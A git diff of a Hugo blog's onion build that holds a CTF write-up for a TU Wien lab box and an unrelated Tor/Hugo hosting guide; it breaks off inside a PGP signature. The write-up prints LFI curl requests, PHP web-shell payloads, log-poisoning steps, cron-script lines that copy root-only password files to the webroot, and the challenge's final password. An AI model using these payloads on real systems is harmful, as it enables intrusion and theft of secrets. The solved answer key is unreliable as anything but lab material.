    A TU Wien CTF where Sysops Klaus left the keys in the cron job +

    +
    +
    +

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    +
    +
    June 5, 2026 · 10 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/ctf/index.xml b/public-onion/categories/ctf/index.xml new file mode 100644 index 0000000..529241a --- /dev/null +++ b/public-onion/categories/ctf/index.xml @@ -0,0 +1,379 @@ + + + + CTF on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/ + Recent content in CTF on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 05 Jun 2026 12:00:00 +0000 + + + A TU Wien CTF where Sysops Klaus left the keys in the cron job + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + Fri, 05 Jun 2026 12:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/g00_tuw_measurement_ctf/ + LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of. + +

    Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

    +

    This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

    +

    Each student group gets their own host (g00, g01, …). The goal is simple on paper:

    +
      +
    1. Collect every passwd_part file sitting in user home directories.
    2. +
    3. Stitch them together into the root password (the full answer lives in /root/passwd).
    4. +
    +

    Simple. Boring. Except Klaus was clearly in charge of this VM.

    +
    +

    0) The lay of the land

    +

    Target: g00.tuw.measurement.network

    +

    From the outside you mostly see three faces of the same machine:

    + + + + + + + + + + + + + + + + + + + + + +
    HostWhat it is
    g00.tuw.measurement.networkMain vhost — documentation.md, directory listing, a teasing passwd_part that returns 403
    web.g00.tuw.measurement.networkPHP “meme gallery” with a very trusting ?page= parameter
    pwreset.g00.tuw.measurement.networkInternal password-reset app — not reachable directly from the internet
    +

    Users on the box (from /etc/passwd via LFI): user1user4, monitoring, www-data, root.

    +

    SSH from outside? Public key only. Password auth is a lie (for us, anyway).

    +
    +

    1) Recon — documentation.md saves the day

    +

    First stop: the main site.

    +
    curl -s https://g00.tuw.measurement.network/documentation.md
    +

    That file is basically a treasure map. It mentions two services:

    +
      +
    • webweb.g00.tuw.measurement.network
    • +
    • pwresetpwreset.g00.tuw.measurement.network
    • +
    +

    I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

    +

    Subdomains resolve. Good. Let’s go web.

    +
    +

    2) LFI — include($_GET['page']) classic

    +

    The web vhost is a frameset. Content loads in a frame via ?page=:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'
    +

    And there it is — root, users, the whole /etc/passwd parade inside the frame.

    +

    Source via PHP filter works too:

    +
    curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
    +  | sed -n 's/.*frame name="in">//p' | base64 -d
    +

    index.php is roughly:

    +
    <?php
    +$page = $_GET['page'] ?? 'home.php';
    +include($page);
    +?>
    +

    Klaus, my man. We love you.

    +

    First instinct: read all the passwd_part files immediately.

    +
    # spoiler: doesn't work
    +curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
    +# → permission denied
    +

    Same for user2user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

    +
    +

    3) pwreset — localhost-only, but LFI doesn’t care about nginx

    +

    Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

    +
    allow 127.0.0.1;
    +deny all;
    +

    So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

    +

    pwreset source (paraphrased):

    +
    $user = $_GET['user'] ?? '';
    +$pass = $_GET['pass'] ?? '';
    +file_put_contents('/var/www/userchange', "$user:$pass\n");
    +echo "Password reset queued.";
    +

    It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

    +

    Trigger it through LFI:

    +
    https://web.g00.tuw.measurement.network/
    +  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
    +  &user=user1
    +  &pass=MyTestPass1!
    +

    I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

    +
    +

    4) RCE — PHP in userchange, included like a boss

    +

    At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

    +

    So I wrote a tiny shell into the user field via pwreset:

    +
    <?=`id`?>
    +

    Then included /var/www/userchange through the LFI:

    +
    ?page=/var/www/userchange
    +

    Output: uid=33(www-data) gid=33(www-data) ...

    +

    Short tags (<?= ... ?>) for the win. A longer <?php system(...); ?> payload also works, but the backtick version is minimal and cute.

    +

    From here on, my mental model was:

    +
      +
    1. pwreset → write arbitrary-ish content to /var/www/userchange
    2. +
    3. LFI include userchange → execute PHP as www-data
    4. +
    +

    That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

    +
    +

    5) Rabbit holes (aka “everything I tried before it worked”)

    +

    This box is a presentation CTF. It wants you to wander. I wandered. Hard.

    +

    nginx log poisoning

    +

    The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

    +

    Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

    +

    data://, php://input, expect://

    +
    ?page=data://text/plain,<?php system($_GET[cmd]); ?>
    +?page=php://input   # with POST body
    +?page=expect://id
    +

    Nope. allow_url_include = Off. Klaus isn’t that careless.

    +

    vim .swp files

    +

    .memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

    +

    Empty memes page. No execution. Nice red herring — very on-theme for the talk.

    +

    Munin / apt_all plugin

    +

    The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

    +
      +
    • /etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
    • +
    • Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
    • +
    • Waited for cron cycles hoping a custom plugin would curl localhost pwreset
    • +
    +

    Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

    +

    pwreset log archaeology

    +

    Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

    +
      +
    • Saw historical resets like user3foobar23
    • +
    • Tried foobar23 over SSH for every user
    • +
    +

    From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

    +

    Shell script injection into userchange

    +

    I tried newline injection to turn userchange into a bash script:

    +
    user=
    +#!/bin/sh
    +cp /home/user1/passwd_part /var/www/.../p1
    +...
    +

    Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

    +

    Brute-forcing the userchange consumer

    +

    I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

    +

    Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

    +

    Direct SSH password guessing

    +

    Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

    +

    From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

    +
    +

    6) Privesc — world-writable cron script (peak Klaus)

    +

    With RCE as www-data, I looked for writable files:

    +
    find / -writable -type f 2>/dev/null | head
    +

    Jackpot:

    +
    -rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh
    +

    Original script (innocent):

    +
    #!/bin/bash
    +grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config
    +

    It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

    +

    I appended:

    +
    cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
    +cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
    +cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
    +cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
    +cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
    +cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
    +chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*
    +

    Then either waited for cron or executed the script manually via RCE:

    +
    <?=`/usr/local/bin/cron_update_hostname_file.sh`?>
    +

    Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

    +
    +

    7) SSH as www-data — because keys in the webroot are a mood

    +

    The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

    +
    # via RCE: cat the key, save locally, chmod 600
    +ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
    +  www-data@g00.tuw.measurement.network
    +

    Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

    +
    +

    8) The password parts

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SourceFilePart
    user1p1DcC6Da0A27384fA
    user2p29Ce05B3cAd57824
    user3p33aD80fa1b7AE986
    user4p4CDefabffab1FCCf
    www-datapasswd_part44D885d6DAb8Bb9
    rootrootpassghadnuthduxeec7
    +

    Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

    +

    Combined root password (95 characters):

    +
    DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7
    +

    Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

    +

    I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

    +

    Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

    +
    +

    9) Attack chain (one screen)

    +
    documentation.md
    +    → web vhost LFI (include $_GET['page'])
    +        → include pwreset index.php (localhost bypass)
    +            → write PHP to /var/www/userchange
    +                → LFI include userchange
    +                    → RCE as www-data
    +                        → append to world-writable cron_update_hostname_file.sh
    +                            → cron runs as root → copies passwd parts to webroot
    +                                → read parts / SSH as www-data
    +                                    → profit
    +

    Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

    +
    +

    10) Replay script

    +

    I left a minimal Python replay in the challenge repo:

    +
    python3 solve.py
    +

    Core logic:

    +
    def pwreset(user, passwd=""):
    +    # LFI-include pwreset index.php with user/pass params
    +
    +def rce(cmd):
    +    pwreset(f"<?=`{cmd}`?>", "")
    +    return lfi_include("/var/www/userchange")
    +

    It prints id, the modified cron script, each part file, and the combined password.

    +
    +

    11) Bonus: the intended log poisoning path

    +

    After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

    +

    So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

    +

    The hint is in index.php, not documentation.md

    +

    documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

    +
    <!-- remember for debugging:
    +    /var/log/nginx/$vhost.access.log
    +    /var/log/nginx/$vhost.error.log
    +    /var/log/nginx/ssl-$vhost.access.log
    +    /var/log/nginx/ssl-$vhost.error.log
    +-->
    +

    Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

    +

    Intended technique

    +
      +
    1. +

      Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:

      +
      /var/log/nginx/web.g00.tuw.measurement.network.access.log
      +
    2. +
    3. +

      Put PHP in the User-Agent (or another logged field):

      +
      <?php passthru($_GET['cmd']); ?>
      +

      Short tags like <?=`id`?> work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

      +
    4. +
    5. +

      Include that log through the same LFI bug:

      +
      https://web.g00.tuw.measurement.network/
      +  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
      +  &cmd=id
      +
    6. +
    +

    On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

    +

    How I griefed myself

    + + + + + + + + + + + + + + + + + + + + + + + + + +
    What I didWhy it hurt
    Defaulted to https:// everywherePoison landed in ssl-web...access.log670 KB+ and growing
    Included the ssl log via LFIOutput truncates around ~2 KB; poison sits at the tail
    Fired dozens of test payloadsLeft broken <?php in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line
    Didn’t read index.php source earlyMissed the debug comment until I’d already polluted both logs
    +

    Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

    +

    If you’re solving it now

    +
      +
    • Read index.php source first.
    • +
    • Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
    • +
    • Include the non-ssl access log path from the comment.
    • +
    • Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.
    • +
    +

    I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

    +
    +

    12) TL;DR

    +
      +
    • Read documentation.md — it tells you where the services live.
    • +
    • Read index.php source — the debug comment gives you the log paths.
    • +
    • Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
    • +
    • What I did = pwreset → userchange → cron (also works, not the intended first step).
    • +
    • Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
    • +
    • Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
    • +
    • Flag = concatenate all passwd_part slices + /root/passwd suffix.
    • +
    +

    If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

    +

    Happy hacking. 🔓

    +
    +

    Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSr+7xAAjpbfTK8k+GguCtQOLwMj6XXcLxb2OYWyeBnbtvIDhy+fTISF9Q+hRfMX
    +91vzMfrmN4F42SvuxeKKB0iQcfheTdhfmxD7oll3j0v+drZ2YVGk9mKW4FBfzbb1
    +iXUt7MQzGnVl3dAHJ2Bqez29Qm9hmtgqIe2bndo2wg3nvNt5fMRF/LPh2CIXOq03
    +35YFa3A1GMUiKAHcemIqJnDZuIInQa+OuPIDPGQva93I20eIn40nIVDLDsY15X+R
    +FyxKVBAwO94We2g+lxhey+xKNIthkv7L8OdbU3WPYSyGk0w8YpNBVK7KtFDHUpsT
    +oLsZXNoKbyZ2eXYF0f54it9JdDo+obdsSRrIzRB/rfszXlVLbbtdwj7TGvgyhWV+
    +zNn5DrhIk5f4FMjJGUnO1QH+e5KPl2IQawCkpOl8NsIIzteNV5BFI3meecTJf6b+
    +//J/Fdzi1YbKFyQlk9zfUUL+1vMoSbkORd7S3JYkibTns+uD9LxW27WIEcvYRw0K
    +MlzdYdPXNCJZUDswt7HZCgQv66zF9+pLkQ/8rl+RVOMW9GqJmE6O0uh4xmPDE8vS
    +YK3/9gFIcXVMy7WsIwEx+xWQqcm815OZSIrw4kvt1+seZ8lUURmoAWRDEFrFUTCG
    +zB6tKRPKoID643AdO+Cb+GS5MLuypaQnoZzl3ALspaV7/YTfVcQ=
    +=BDGe
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/g00_tuw_measurement_ctf.md.asc
    +gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/categories/ctf/page/1/index.html b/public-onion/categories/ctf/page/1/index.html new file mode 100644 index 0000000..5b7e601 --- /dev/null +++ b/public-onion/categories/ctf/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/ctf/ + + + + + + diff --git a/public-onion/categories/devops/index.html b/public-onion/categories/devops/index.html new file mode 100644 index 0000000..74022e6 --- /dev/null +++ b/public-onion/categories/devops/index.html @@ -0,0 +1,356 @@ + + + + + + + +DevOps | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/categories/devops/index.xml b/public-onion/categories/devops/index.xml new file mode 100644 index 0000000..1676388 --- /dev/null +++ b/public-onion/categories/devops/index.xml @@ -0,0 +1,249 @@ + + + + DevOps on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/categories/devops/ + Recent content in DevOps on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 19 Sep 2025 00:00:00 +0000 + + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSr80hAAqr/XVnG0YNXXgG5FmVK/xBo5VVdYxba+znAc1rCWJuzwHe2Ih0aYsq7d
    +DMWRkpE9YTfQl/kSYpzlk96KCKv+6lHQXqcPyq+nQTDl/D7iCaOhb8Dog3W/2qN4
    +6G05f47EoiOJY+G/XgUHKqK75QhJrGUtom71t30alciaEGW2SauewBVTGmD+x4y4
    +UN8LABLuB/ZE8sInjoTRr28LWVj6XeHMueY9/tpS9Fm3yw3nHnE4Fv77FtTHQiMo
    +FwGfnomCwVwd5GpaP7LQdtP/a+x4s/bya2keFLW89xgwXolWB6U3y5BLFeVHptQm
    +slRx0+P27gH+CRtoXKI4kHThbmkmjM9ohJc7kxrkkbzB3ujkrxjC+rZnHXPCdbsZ
